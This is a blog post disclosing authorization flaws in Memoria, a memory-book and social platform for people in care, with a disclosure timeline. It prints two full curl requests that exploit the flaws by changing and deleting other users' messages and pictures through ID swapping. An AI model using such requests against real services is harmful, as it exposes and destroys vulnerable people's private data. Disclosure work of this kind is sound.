tl;dr 🔗

Memoria - a digital memory book and social platform for persons in care - had a webapp with vulnerabilities for reading, changing and deleting others' messages and pictures.

Summary 🔗

Background 🔗

Watching the TV one night in August there was this news story on TV 2 about a digitial memory book and social platform for communication between families, healthcare professionals and users of care services. A great idea and it seemed like a pretty good product. Of course, I wondered if their security was in order. I mean, this is a site with a lot of personal stuff, like messages, pictures and personal stories.

Approach (technical stuff) 🔗

I created a profile and surfed around the site while having my browser development tools open. The site is running the good old Angular 1.X with a lot of Ajax calls transfering JSON with data.

The pages would be of the style hxxps://app.minmemoria.no/#/patients/<some patient ID>/albums. So what would be the URL be for some kind of administrator page?

I guessed hxxps://app.minmemoria.no/#/admin and was right. While there was some kind of authorization check I got partial access. I could e.g. see all the institutions in the system, and was able to create my own new institution. I did not try to delete any, but I wouldn't be surprised if that was possible..

Many of the URLs had some kind of ID, so I of course tried changing them seeing if I could get hold of other people's data. But the ID wasn't your regular incremental integer, so I had to create another account and see what kind of IDs that got. Now I was logged in with one user in Chrome and one user in Vivaldi. I'm still not sure what the system for the IDs is, but it is a big number that changes quite a bit from one entry to another. It doesn't seem to be a timestamp with milliseconds or seconds, but it doesn't change more than you would be able to guess or brute force other peoples IDs.

In general there seemed to be proper authorization checks when the URL contained one ID - just like the first one mentioned. However, there were quite a few URL of the format hxxps://app.minmemoria.no/#/patients/<some patient ID>/<some entity type>/<some entity ID>, and at least in some cases there was no check if the logged in user was allowed to access that entity ID.

For example I could read other persons' stories using the URL hxxps://app.minmemoria.no/#/patients/<a patient I had access to>/stories/<some other patient's story ID>.

This type of failing authentication check was the same for PUT and DELETE calls. So I was able to change other persons' stories and delete other persons' pictures. (As mentioned, I created several users and patients so I only accessed and altered contents between these accounts.)

The Curl command copied from Chrome for changing others' messages looked like this:

curl 'https://app.minmemoria.no/api/personas/<a patient I had access to>/events/<message ID>' \
    -X PUT \
    -H 'Origin: https://app.minmemoria.no' \
    -H 'Accept-Encoding: gzip, deflate, br' \
    -H 'x-request-id: <some UUID>' \
    -H 'Accept-Language: nb-NO,nb;q=0.8,no;q=0.6,nn;q=0.4,en-US;q=0.2,en;q=0.2' \
    -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' \
    -H 'Content-Type: application/json;charset=UTF-8' \
    -H 'Accept: application/json, text/plain, */*' \
    -H 'Referer: https://app.minmemoria.no/' \
    -H 'Cookie: <session cookie++>' \
    -H 'Connection: keep-alive' \
    -H 'x-service-version: 1.0' \
    --data-binary '{"articleBody":"My altered message"}' \
    --compressed

The Curl command for deleting others' pictures looked like this:

curl 'https://app.minmemoria.no/api/personas/<a patient I had access to>/folders/<folder ID>/assets/<picture ID>' \
    -X DELETE \
    -H 'Origin: https://app.minmemoria.no' \
    -H 'Accept-Encoding: gzip, deflate, br' \
    -H 'x-request-id: <some UUID>' \
    -H 'Accept-Language: nb-NO,nb;q=0.8,no;q=0.6,nn;q=0.4,en-US;q=0.2,en;q=0.2' \
    -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' \
    -H 'Accept: application/json, text/plain, */*' \
    -H 'Referer: https://app.minmemoria.no/' \
    -H 'Cookie: <session cookie++>' \
    -H 'Connection: keep-alive' \
    -H 'x-service-version: 1.0' \
    --compressed

I feel pretty sure there was more problems than these, but I had found more than enough to report.

Security issues 🔗

The issues I saw while doing a quick test of the site:

• Any user could create an institution via the admin pages
• Any user could read any patients' stories
• Any user could change any patients' messages
• Any user could delete any patients' pictures

Surely there were other issues here as well. I stopped checking for more when I found these.

Reception and handling 🔗

Day zero 🔗

At night, I sent an e-mail to their contact e-mail address.

Day 1 🔗

Just after lunch I received an e-mail thanking for the discovery and telling that they've reported it to the developers.

I never received any more replies, so I don't know when they fixed it.

Day 49 🔗

I sent a new e-mail asking what the status was.

Day 50 🔗

I got an answer telling that they had fixed the issues.

Conclusion 🔗

Privacy of any social media platform is so important. It's so easy to create web sites today, but it's still hard to make them properly secure.

However, in this case there seems to be a big lack of understanding how to - and/or desire to - secure web apps. Memoria doesn't appear very concerned about security when they had issues like these. I wish they would show more respect for the care service users and their families. I hope they'll use some third party for security audits in the future.